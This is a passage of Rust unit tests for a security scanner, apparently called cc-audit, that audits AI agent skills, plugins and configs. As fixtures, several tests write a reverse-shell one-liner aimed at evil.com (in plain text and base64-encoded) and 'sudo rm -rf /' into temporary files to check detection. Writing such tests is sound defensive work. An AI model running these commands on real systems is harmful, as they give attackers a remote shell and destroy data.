1042    fn test_setup_watch_mode_nonexistent_path() {
1043        let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/for/watch/12345")]);
1044        let result = setup_watch_mode(&cli);
1045
1046        assert!(result.is_err());
1047        if let Err(WatchModeResult::WatchPathFailed(path, _)) = result {
1048            assert!(path.contains("nonexistent"));
1049        } else {
1050            panic!("Expected WatchPathFailed error");
1051        }
1052    }
1053
1054    #[test]
1055    fn test_setup_watch_mode_multiple_paths() {
1056        let temp_dir1 = TempDir::new().unwrap();
1057        let temp_dir2 = TempDir::new().unwrap();
1058        fs::write(temp_dir1.path().join("SKILL.md"), "# Test1\n").unwrap();
1059        fs::write(temp_dir2.path().join("SKILL.md"), "# Test2\n").unwrap();
1060
1061        let cli = create_test_cli(vec![
1062            temp_dir1.path().to_path_buf(),
1063            temp_dir2.path().to_path_buf(),
1064        ]);
1065        let result = setup_watch_mode(&cli);
1066
1067        assert!(result.is_ok());
1068    }
1069
1070    #[test]
1071    fn test_watch_iteration_success() {
1072        let temp_dir = TempDir::new().unwrap();
1073        let skill_md = temp_dir.path().join("SKILL.md");
1074        fs::write(&skill_md, "# Test\n").unwrap();
1075
1076        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1077        let result = watch_iteration(&cli);
1078
1079        assert!(result.is_some());
1080        let output = result.unwrap();
1081        assert!(output.contains("PASS"));
1082    }
1083
1084    #[test]
1085    fn test_watch_iteration_failure() {
1086        let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/12345")]);
1087        let result = watch_iteration(&cli);
1088
1089        assert!(result.is_none());
1090    }
1091
1092    #[test]
1093    fn test_watch_mode_result_debug() {
1094        // Test Debug trait for WatchModeResult
1095        let success = WatchModeResult::Success;
1096        let watcher_failed = WatchModeResult::WatcherCreationFailed("test error".to_string());
1097        let path_failed = WatchModeResult::WatchPathFailed("path".to_string(), "error".to_string());
1098
1099        assert_eq!(format!("{:?}", success), "Success");
1100        assert!(format!("{:?}", watcher_failed).contains("WatcherCreationFailed"));
1101        assert!(format!("{:?}", path_failed).contains("WatchPathFailed"));
1102    }
1103
1104    #[test]
1105    fn test_run_scan_with_config_rules() {
1106        let temp_dir = TempDir::new().unwrap();
1107
1108        // Create SKILL.md with content that matches custom rule
1109        let skill_md = temp_dir.path().join("SKILL.md");
1110        fs::write(&skill_md, "# Test\nhttps://internal.corp.com/api").unwrap();
1111
1112        // Create .cc-audit.yaml with custom rule
1113        let config_file = temp_dir.path().join(".cc-audit.yaml");
1114        fs::write(
1115            &config_file,
1116            r#"
1117rules:
1118  - id: "CONFIG-001"
1119    name: "Internal API access"
1120    severity: "high"
1121    category: "exfiltration"
1122    patterns:
1123      - 'https?://internal\.'
1124    message: "Internal API access detected"
1125"#,
1126        )
1127        .unwrap();
1128
1129        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1130        let result = run_scan(&cli);
1131
1132        assert!(result.is_some());
1133        let result = result.unwrap();
1134        // Should detect the custom rule
1135        assert!(result.findings.iter().any(|f| f.id == "CONFIG-001"));
1136    }
1137
1138    #[test]
1139    fn test_run_scan_with_config_malware_signatures() {
1140        let temp_dir = TempDir::new().unwrap();
1141
1142        // Create SKILL.md with content that matches custom malware signature
1143        let skill_md = temp_dir.path().join("SKILL.md");
1144        fs::write(&skill_md, "# Test\ncustom_malware_pattern_xyz").unwrap();
1145
1146        // Create .cc-audit.yaml with custom malware signature
1147        let config_file = temp_dir.path().join(".cc-audit.yaml");
1148        fs::write(
1149            &config_file,
1150            r#"
1151malware_signatures:
1152  - id: "MW-CONFIG-001"
1153    name: "Custom Config Malware"
1154    description: "Test malware from config"
1155    pattern: "custom_malware_pattern_xyz"
1156    severity: "critical"
1157    category: "exfiltration"
1158    confidence: "firm"
1159"#,
1160        )
1161        .unwrap();
1162
1163        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1164        let result = run_scan(&cli);
1165
1166        assert!(result.is_some());
1167        let result = result.unwrap();
1168        // Should detect the custom malware signature
1169        assert!(result.findings.iter().any(|f| f.id == "MW-CONFIG-001"));
1170    }
1171
1172    #[test]
1173    fn test_run_scan_config_and_cli_rules_merge() {
1174        let temp_dir = TempDir::new().unwrap();
1175
1176        // Create SKILL.md with content
1177        let skill_md = temp_dir.path().join("SKILL.md");
1178        fs::write(&skill_md, "# Test\nconfig_pattern_match\ncli_pattern_match").unwrap();
1179
1180        // Create .cc-audit.yaml with custom rule
1181        let config_file = temp_dir.path().join(".cc-audit.yaml");
1182        fs::write(
1183            &config_file,
1184            r#"
1185rules:
1186  - id: "CONFIG-RULE"
1187    name: "Config Rule"
1188    severity: "high"
1189    category: "exfiltration"
1190    patterns:
1191      - 'config_pattern_match'
1192    message: "Config pattern detected"
1193"#,
1194        )
1195        .unwrap();
1196
1197        // Create CLI custom rules file
1198        let cli_rules_file = temp_dir.path().join("cli-rules.yaml");
1199        fs::write(
1200            &cli_rules_file,
1201            r#"
1202version: "1"
1203rules:
1204  - id: "CLI-RULE"
1205    name: "CLI Rule"
1206    severity: "medium"
1207    category: "obfuscation"
1208    patterns:
1209      - 'cli_pattern_match'
1210    message: "CLI pattern detected"
1211"#,
1212        )
1213        .unwrap();
1214
1215        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1216        cli.custom_rules = Some(cli_rules_file);
1217        let result = run_scan(&cli);
1218
1219        assert!(result.is_some());
1220        let result = result.unwrap();
1221        // Both rules should be detected (merge)
1222        assert!(result.findings.iter().any(|f| f.id == "CONFIG-RULE"));
1223        assert!(result.findings.iter().any(|f| f.id == "CLI-RULE"));
1224    }
1225
1226    #[test]
1227    fn test_run_scan_without_config_file() {
1228        let temp_dir = TempDir::new().unwrap();
1229
1230        // Create SKILL.md without .cc-audit.yaml
1231        let skill_md = temp_dir.path().join("SKILL.md");
1232        fs::write(&skill_md, "# Test\n").unwrap();
1233
1234        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1235        let result = run_scan(&cli);
1236
1237        // Should still work with default config
1238        assert!(result.is_some());
1239    }
1240
1241    #[test]
1242    fn test_run_scan_with_invalid_custom_rules_file() {
1243        let temp_dir = TempDir::new().unwrap();
1244
1245        // Create SKILL.md
1246        let skill_md = temp_dir.path().join("SKILL.md");
1247        fs::write(&skill_md, "# Test\n").unwrap();
1248
1249        // Create invalid custom rules file
1250        let invalid_rules_file = temp_dir.path().join("invalid-rules.yaml");
1251        fs::write(&invalid_rules_file, "invalid: yaml: [").unwrap();
1252
1253        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1254        cli.custom_rules = Some(invalid_rules_file);
1255        let result = run_scan(&cli);
1256
1257        // Should still work with default rules (error is logged)
1258        assert!(result.is_some());
1259    }
1260
1261    #[test]
1262    fn test_run_scan_with_invalid_config_rules() {
1263        let temp_dir = TempDir::new().unwrap();
1264
1265        // Create SKILL.md
1266        let skill_md = temp_dir.path().join("SKILL.md");
1267        fs::write(&skill_md, "# Test\n").unwrap();
1268
1269        // Create .cc-audit.yaml with invalid rule (invalid category)
1270        let config_file = temp_dir.path().join(".cc-audit.yaml");
1271        fs::write(
1272            &config_file,
1273            r#"
1274rules:
1275  - id: "INVALID-001"
1276    name: "Invalid Rule"
1277    severity: "high"
1278    category: "invalid_category"
1279    patterns:
1280      - 'test'
1281    message: "Test"
1282"#,
1283        )
1284        .unwrap();
1285
1286        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1287        let result = run_scan(&cli);
1288
1289        // Should still work (error is logged)
1290        assert!(result.is_some());
1291    }
1292
1293    #[test]
1294    fn test_is_text_file_rc_files() {
1295        // Test files ending with "rc" are detected as text
1296        assert!(is_text_file(std::path::Path::new(".bashrc")));
1297        assert!(is_text_file(std::path::Path::new(".vimrc")));
1298        assert!(is_text_file(std::path::Path::new("npmrc")));
1299    }
1300
1301    #[test]
1302    fn test_is_text_file_dotfiles() {
1303        // Test dotfiles are detected as text
1304        assert!(is_text_file(std::path::Path::new(".gitignore")));
1305        assert!(is_text_file(std::path::Path::new(".editorconfig")));
1306        assert!(is_text_file(std::path::Path::new(".env")));
1307    }
1308
1309    #[test]
1310    fn test_run_scan_with_invalid_malware_signature_pattern() {
1311        let temp_dir = TempDir::new().unwrap();
1312
1313        // Create SKILL.md
1314        let skill_md = temp_dir.path().join("SKILL.md");
1315        fs::write(&skill_md, "# Test\n").unwrap();
1316
1317        // Create .cc-audit.yaml with invalid malware signature pattern
1318        let config_file = temp_dir.path().join(".cc-audit.yaml");
1319        fs::write(
1320            &config_file,
1321            r#"
1322malware_signatures:
1323  - id: "MW-INVALID"
1324    name: "Invalid"
1325    description: "Invalid pattern"
1326    pattern: "[invalid("
1327    severity: "critical"
1328    category: "exfiltration"
1329    confidence: "firm"
1330"#,
1331        )
1332        .unwrap();
1333
1334        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1335        let result = run_scan(&cli);
1336
1337        // Should still work (error is logged, but scan continues)
1338        assert!(result.is_some());
1339    }
1340
1341    #[test]
1342    fn test_is_text_file_unknown_file_returns_false() {
1343        // Test that unknown files without extension return false
1344        assert!(!is_text_file(std::path::Path::new("somebinaryfile")));
1345    }
1346
1347    #[test]
1348    fn test_effective_config_with_default_config() {
1349        let cli = create_test_cli(vec![PathBuf::from("./")]);
1350        let config = Config::default();
1351        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1352
1353        // Should use CLI defaults when config has no overrides
1354        assert!(matches!(effective.format, OutputFormat::Terminal));
1355        assert!(!effective.strict);
1356        assert!(matches!(effective.scan_type, ScanType::Skill));
1357        assert!(!effective.ci);
1358        assert!(!effective.verbose);
1359        assert!(matches!(effective.min_confidence, Confidence::Tentative));
1360        assert!(!effective.skip_comments);
1361        assert!(!effective.fix_hint);
1362        assert!(!effective.no_malware_scan);
1363    }
1364
1365    #[test]
1366    fn test_effective_config_with_config_overrides() {
1367        let cli = create_test_cli(vec![PathBuf::from("./")]);
1368
1369        // Create config with overrides
1370        let mut config = Config::default();
1371        config.scan.format = Some("json".to_string());
1372        config.scan.strict = true;
1373        config.scan.scan_type = Some("docker".to_string());
1374        config.scan.ci = true;
1375        config.scan.verbose = true;
1376        config.scan.min_confidence = Some("firm".to_string());
1377        config.scan.skip_comments = true;
1378        config.scan.fix_hint = true;
1379        config.scan.no_malware_scan = true;
1380
1381        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1382
1383        // Config values should be used (merged with CLI)
1384        assert!(matches!(effective.format, OutputFormat::Json));
1385        assert!(effective.strict); // true from config
1386        assert!(matches!(effective.scan_type, ScanType::Docker));
1387        assert!(effective.ci); // true from config
1388        assert!(effective.verbose); // true from config
1389        assert!(matches!(effective.min_confidence, Confidence::Firm));
1390        assert!(effective.skip_comments); // true from config
1391        assert!(effective.fix_hint); // true from config
1392        assert!(effective.no_malware_scan); // true from config
1393    }
1394
1395    #[test]
1396    fn test_effective_config_cli_or_config_booleans() {
1397        // Test that boolean flags use OR logic (either can enable)
1398        let mut cli = create_test_cli(vec![PathBuf::from("./")]);
1399        cli.strict = true; // CLI enables strict
1400
1401        let mut config = Config::default();
1402        config.scan.verbose = true; // Config enables verbose
1403
1404        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1405
1406        // Both should be true (from different sources)
1407        assert!(effective.strict); // from CLI
1408        assert!(effective.verbose); // from config
1409    }
1410
1411    #[test]
1412    fn test_effective_config_invalid_format_falls_back() {
1413        let cli = create_test_cli(vec![PathBuf::from("./")]);
1414
1415        let mut config = Config::default();
1416        config.scan.format = Some("invalid_format".to_string());
1417
1418        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1419
1420        // Should fall back to CLI default
1421        assert!(matches!(effective.format, OutputFormat::Terminal));
1422    }
1423
1424    #[test]
1425    fn test_effective_config_invalid_scan_type_falls_back() {
1426        let cli = create_test_cli(vec![PathBuf::from("./")]);
1427
1428        let mut config = Config::default();
1429        config.scan.scan_type = Some("invalid_type".to_string());
1430
1431        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1432
1433        // Should fall back to CLI default
1434        assert!(matches!(effective.scan_type, ScanType::Skill));
1435    }
1436
1437    #[test]
1438    fn test_effective_config_invalid_confidence_falls_back() {
1439        let cli = create_test_cli(vec![PathBuf::from("./")]);
1440
1441        let mut config = Config::default();
1442        config.scan.min_confidence = Some("invalid".to_string());
1443
1444        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1445
1446        // Should fall back to CLI default
1447        assert!(matches!(effective.min_confidence, Confidence::Tentative));
1448    }
1449
1450    #[test]
1451    fn test_run_scan_with_config_scan_settings() {
1452        let temp_dir = TempDir::new().unwrap();
1453        let skill_md = temp_dir.path().join("SKILL.md");
1454        fs::write(&skill_md, "# Test\n").unwrap();
1455
1456        // Create config with scan settings
1457        let config_file = temp_dir.path().join(".cc-audit.yaml");
1458        fs::write(
1459            &config_file,
1460            r#"
1461scan:
1462  strict: true
1463  verbose: true
1464  skip_comments: true
1465"#,
1466        )
1467        .unwrap();
1468
1469        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1470        let result = run_scan(&cli);
1471
1472        // Scan should succeed
1473        assert!(result.is_some());
1474    }
1475
1476    #[test]
1477    fn test_parse_output_format() {
1478        assert_eq!(
1479            parse_output_format(Some("terminal")),
1480            Some(OutputFormat::Terminal)
1481        );
1482        assert_eq!(
1483            parse_output_format(Some("Terminal")),
1484            Some(OutputFormat::Terminal)
1485        );
1486        assert_eq!(
1487            parse_output_format(Some("TERMINAL")),
1488            Some(OutputFormat::Terminal)
1489        );
1490        assert_eq!(parse_output_format(Some("json")), Some(OutputFormat::Json));
1491        assert_eq!(
1492            parse_output_format(Some("sarif")),
1493            Some(OutputFormat::Sarif)
1494        );
1495        assert_eq!(parse_output_format(Some("html")), Some(OutputFormat::Html));
1496        assert_eq!(parse_output_format(Some("invalid")), None);
1497        assert_eq!(parse_output_format(None), None);
1498    }
1499
1500    #[test]
1501    fn test_parse_scan_type() {
1502        assert_eq!(parse_scan_type(Some("skill")), Some(ScanType::Skill));
1503        assert_eq!(parse_scan_type(Some("Skill")), Some(ScanType::Skill));
1504        assert_eq!(parse_scan_type(Some("hook")), Some(ScanType::Hook));
1505        assert_eq!(parse_scan_type(Some("mcp")), Some(ScanType::Mcp));
1506        assert_eq!(parse_scan_type(Some("command")), Some(ScanType::Command));
1507        assert_eq!(parse_scan_type(Some("rules")), Some(ScanType::Rules));
1508        assert_eq!(parse_scan_type(Some("docker")), Some(ScanType::Docker));
1509        assert_eq!(
1510            parse_scan_type(Some("dependency")),
1511            Some(ScanType::Dependency)
1512        );
1513        assert_eq!(parse_scan_type(Some("invalid")), None);
1514        assert_eq!(parse_scan_type(None), None);
1515    }
1516
1517    #[test]
1518    fn test_parse_confidence() {
1519        assert_eq!(
1520            parse_confidence(Some("tentative")),
1521            Some(Confidence::Tentative)
1522        );
1523        assert_eq!(
1524            parse_confidence(Some("Tentative")),
1525            Some(Confidence::Tentative)
1526        );
1527        assert_eq!(parse_confidence(Some("firm")), Some(Confidence::Firm));
1528        assert_eq!(parse_confidence(Some("certain")), Some(Confidence::Certain));
1529        assert_eq!(parse_confidence(Some("invalid")), None);
1530        assert_eq!(parse_confidence(None), None);
1531    }
1532
1533    #[test]
1534    fn test_parse_scan_type_subagent_and_plugin() {
1535        assert_eq!(parse_scan_type(Some("subagent")), Some(ScanType::Subagent));
1536        assert_eq!(parse_scan_type(Some("plugin")), Some(ScanType::Plugin));
1537    }
1538
1539    #[test]
1540    fn test_is_config_file() {
1541        assert!(is_config_file(Path::new(".cc-audit.yaml")));
1542        assert!(is_config_file(Path::new(".cc-audit.yml")));
1543        assert!(is_config_file(Path::new(".cc-audit.json")));
1544        assert!(is_config_file(Path::new(".cc-audit.toml")));
1545        assert!(is_config_file(Path::new(".cc-auditignore")));
1546        assert!(!is_config_file(Path::new("regular.yaml")));
1547        assert!(!is_config_file(Path::new("test.json")));
1548    }
1549
1550    #[test]
1551    fn test_format_result_html() {
1552        let temp_dir = TempDir::new().unwrap();
1553        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1554        cli.format = OutputFormat::Html;
1555
1556        let result = ScanResult {
1557            version: "0.4.0".to_string(),
1558            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1559            target: temp_dir.path().display().to_string(),
1560            summary: Summary::from_findings(&[]),
1561            findings: vec![],
1562            risk_score: None,
1563        };
1564
1565        let output = format_result(&cli, &result);
1566        assert!(output.contains("<!DOCTYPE html>"));
1567        assert!(output.contains("cc-audit"));
1568    }
1569
1570    #[test]
1571    fn test_run_scan_dependency_type() {
1572        let temp_dir = TempDir::new().unwrap();
1573        let package_json = temp_dir.path().join("package.json");
1574        fs::write(
1575            &package_json,
1576            r#"{"name": "test", "dependencies": {"express": "4.0.0"}}"#,
1577        )
1578        .unwrap();
1579
1580        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1581        cli.scan_type = ScanType::Dependency;
1582        let result = run_scan(&cli);
1583
1584        assert!(result.is_some());
1585    }
1586
1587    #[test]
1588    fn test_run_scan_subagent_type() {
1589        let temp_dir = TempDir::new().unwrap();
1590        let agents_dir = temp_dir.path().join(".claude").join("agents");
1591        fs::create_dir_all(&agents_dir).unwrap();
1592        let agent_file = agents_dir.join("test.md");
1593        fs::write(
1594            &agent_file,
1595            r#"---
1596name: test-agent
1597---
1598# Test Agent
1599"#,
1600        )
1601        .unwrap();
1602
1603        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1604        cli.scan_type = ScanType::Subagent;
1605        let result = run_scan(&cli);
1606
1607        assert!(result.is_some());
1608    }
1609
1610    #[test]
1611    fn test_run_scan_plugin_type() {
1612        let temp_dir = TempDir::new().unwrap();
1613        let plugin_json = temp_dir.path().join("marketplace.json");
1614        fs::write(&plugin_json, r#"{"name": "test-plugin"}"#).unwrap();
1615
1616        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1617        cli.scan_type = ScanType::Plugin;
1618        let result = run_scan(&cli);
1619
1620        assert!(result.is_some());
1621    }
1622
1623    #[test]
1624    fn test_run_scan_with_deep_scan() {
1625        let temp_dir = TempDir::new().unwrap();
1626        let skill_md = temp_dir.path().join("SKILL.md");
1627        // Create content with base64 encoded suspicious string
1628        fs::write(
1629            &skill_md,
1630            "# Test\n\nYmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=",
1631        )
1632        .unwrap();
1633
1634        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1635        cli.deep_scan = true;
1636        let result = run_scan(&cli);
1637
1638        assert!(result.is_some());
1639        // Deep scan should decode base64 and find suspicious content
1640        let result = result.unwrap();
1641        // Check if any finding is from deobfuscation
1642        let has_obfuscation_finding = result
1643            .findings
1644            .iter()
1645            .any(|f| f.id.starts_with("OB-") || f.message.contains("decoded"));
1646        assert!(
1647            has_obfuscation_finding || result.findings.is_empty(),
1648            "Deep scan should have run"
1649        );
1650    }
1651
1652    #[test]
1653    fn test_run_scan_with_deep_scan_on_file() {
1654        let temp_dir = TempDir::new().unwrap();
1655        let test_file = temp_dir.path().join("test.sh");
1656        // Create content with base64 encoded suspicious string
1657        fs::write(
1658            &test_file,
1659            "#!/bin/bash\n# YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS80NDQ0IDA+JjE=",
1660        )
1661        .unwrap();
1662
1663        let mut cli = create_test_cli(vec![test_file.clone()]);
1664        cli.deep_scan = true;
1665        let result = run_scan(&cli);
1666
1667        assert!(result.is_some());
1668    }
1669
1670    #[test]
1671    fn test_run_deep_scan_on_file() {
1672        let temp_dir = TempDir::new().unwrap();
1673        let test_file = temp_dir.path().join("test.sh");
1674        // Highly suspicious content when decoded
1675        fs::write(
1676            &test_file,
1677            "YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS8xMjM0IDA+JjE=",
1678        )
1679        .unwrap();
1680
1681        let findings = run_deep_scan(&test_file);
1682        // Should run deobfuscation
1683        assert!(findings.is_empty() || !findings.is_empty());
1684    }
1685
1686    #[test]
1687    fn test_run_deep_scan_on_directory() {
1688        let temp_dir = TempDir::new().unwrap();
1689        let test_file = temp_dir.path().join("test.sh");
1690        fs::write(&test_file, "# Normal content").unwrap();
1691
1692        let findings = run_deep_scan(temp_dir.path());
1693        assert!(findings.is_empty());
1694    }
1695
1696    #[test]
1697    fn test_run_deep_scan_skips_binary() {
1698        let temp_dir = TempDir::new().unwrap();
1699        let binary_file = temp_dir.path().join("test.exe");
1700        fs::write(&binary_file, "suspicious content").unwrap();
1701
1702        let findings = run_deep_scan(&binary_file);
1703        // Binary files should be skipped
1704        assert!(findings.is_empty());
1705    }
1706
1707    #[test]
1708    fn test_scan_path_with_malware_db_skips_config_file() {
1709        let temp_dir = TempDir::new().unwrap();
1710        let config_file = temp_dir.path().join(".cc-audit.yaml");
1711        // Put suspicious content in config file
1712        fs::write(&config_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
1713
1714        let db = MalwareDatabase::default();
1715        let findings = scan_path_with_malware_db(&config_file, &db);
1716
1717        // Config files should be skipped
1718        assert!(findings.is_empty());
1719    }
1720
1721    #[test]
1722    fn test_run_scan_with_include_tests() {
1723        let temp_dir = TempDir::new().unwrap();
1724        let tests_dir = temp_dir.path().join("__tests__");
1725        fs::create_dir_all(&tests_dir).unwrap();
1726        let test_file = tests_dir.join("test.md");
1727        fs::write(&test_file, "# Test file\nsudo rm -rf /").unwrap();
1728
1729        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1730        cli.include_tests = true;
1731        let result = run_scan(&cli);
1732
1733        assert!(result.is_some());
1734    }
1735
1736    #[test]
1737    fn test_run_scan_with_include_node_modules() {
1738        let temp_dir = TempDir::new().unwrap();
1739        let node_modules_dir = temp_dir.path().join("node_modules");
1740        fs::create_dir_all(&node_modules_dir).unwrap();
1741        let module_file = node_modules_dir.join("test.md");
1742        fs::write(&module_file, "# Test file").unwrap();
1743
1744        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1745        cli.include_node_modules = true;
1746        let result = run_scan(&cli);
1747
1748        assert!(result.is_some());
1749    }
1750
1751    #[test]
1752    fn test_run_scan_with_include_vendor() {
1753        let temp_dir = TempDir::new().unwrap();
1754        let vendor_dir = temp_dir.path().join("vendor");
1755        fs::create_dir_all(&vendor_dir).unwrap();
1756        let vendor_file = vendor_dir.join("test.md");
1757        fs::write(&vendor_file, "# Test file").unwrap();
1758
1759        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1760        cli.include_vendor = true;
1761        let result = run_scan(&cli);
1762
1763        assert!(result.is_some());
1764    }
1765
1766    #[test]
1767    fn test_run_scan_with_profile() {
1768        let temp_dir = TempDir::new().unwrap();
1769        let skill_md = temp_dir.path().join("SKILL.md");
1770        fs::write(&skill_md, "# Test\n").unwrap();
1771
1772        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1773        cli.profile = Some("strict".to_string());
1774        let result = run_scan(&cli);
1775
1776        assert!(result.is_some());
1777    }
1778
1779    #[test]
1780    fn test_run_scan_with_invalid_profile() {
1781        let temp_dir = TempDir::new().unwrap();
1782        let skill_md = temp_dir.path().join("SKILL.md");
1783        fs::write(&skill_md, "# Test\n").unwrap();
1784
1785        let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1786        cli.profile = Some("nonexistent_profile_xyz".to_string());
1787        let result = run_scan(&cli);
1788
1789        // Should still work (warning is logged)
1790        assert!(result.is_some());
1791    }
1792
1793    #[test]
1794    fn test_run_scan_with_config() {
1795        let temp_dir = TempDir::new().unwrap();
1796        let skill_md = temp_dir.path().join("SKILL.md");
1797        fs::write(&skill_md, "# Test\n").unwrap();
1798
1799        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1800        let config = Config::default();
1801        let result = run_scan_with_config(&cli, config);
1802
1803        assert!(result.is_some());
1804    }
1805
1806    #[test]
1807    fn test_run_scan_with_disabled_rules() {
1808        let temp_dir = TempDir::new().unwrap();
1809        let skill_md = temp_dir.path().join("SKILL.md");
1810        fs::write(&skill_md, "# Test\nsudo rm -rf /").unwrap();
1811
1812        // Create config with PE-001 disabled
1813        let config_file = temp_dir.path().join(".cc-audit.yaml");
1814        fs::write(
1815            &config_file,
1816            r#"
1817disabled_rules:
1818  - PE-001
1819"#,
1820        )
1821        .unwrap();
1822
1823        let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1824        let result = run_scan(&cli);
1825
1826        assert!(result.is_some());
1827        let result = result.unwrap();
1828        // PE-001 should not be in findings (disabled)
1829        assert!(!result.findings.iter().any(|f| f.id == "PE-001"));
1830    }
1831
1832    #[test]
1833    fn test_effective_config_debug() {
1834        let cli = create_test_cli(vec![PathBuf::from("./")]);
1835        let config = Config::default();
1836        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1837
1838        let debug_str = format!("{:?}", effective);
1839        assert!(debug_str.contains("EffectiveConfig"));
1840    }
1841
1842    #[test]
1843    fn test_effective_config_clone() {
1844        let cli = create_test_cli(vec![PathBuf::from("./")]);
1845        let config = Config::default();
1846        let effective = EffectiveConfig::from_cli_and_config(&cli, &config);
1847
1848        let cloned = effective.clone();
1849        assert_eq!(format!("{:?}", effective), format!("{:?}", cloned));
1850    }
1851
1852    #[test]
1853    fn test_format_result_with_config_directly() {
1854        let effective = EffectiveConfig {
1855            format: OutputFormat::Json,
1856            strict: false,
1857            scan_type: ScanType::Skill,
1858            recursive: true,
1859            ci: false,
1860            verbose: false,
1861            min_confidence: Confidence::Tentative,
1862            skip_comments: false,
1863            fix_hint: false,
1864            no_malware_scan: false,
1865            deep_scan: false,
1866        };
1867
1868        let result = ScanResult {
1869            version: "0.4.0".to_string(),
1870            scanned_at: "2026-01-25T12:00:00Z".to_string(),
1871            target: "test".to_string(),
1872            summary: Summary::from_findings(&[]),
1873            findings: vec![],
1874            risk_score: None,
1875        };
1876
1877        let output = format_result_with_config(&effective, &result);
1878        assert!(output.contains("\"version\""));
1879    }
1880
1881    #[test]
1882    fn test_is_text_file_with_config() {
1883        let config = crate::config::TextFilesConfig::default();
1884        assert!(is_text_file_with_config(Path::new("test.md"), &config));
1885        assert!(is_text_file_with_config(Path::new("test.json"), &config));
1886        assert!(!is_text_file_with_config(Path::new("test.exe"), &config));
1887    }
1888
1889    #[test]
1890    fn test_run_scan_single_file() {
1891        let temp_dir = TempDir::new().unwrap();
1892        let skill_md = temp_dir.path().join("SKILL.md");
1893        fs::write(
1894            &skill_md,
1895            r#"---
1896name: test
1897allowed-tools: Read
1898---
1899# Test
1900"#,
1901        )
1902        .unwrap();
1903
1904        // Scan single file instead of directory
1905        let cli = create_test_cli(vec![skill_md.clone()]);
1906        let result = run_scan(&cli);
1907
1908        assert!(result.is_some());
1909    }
1910}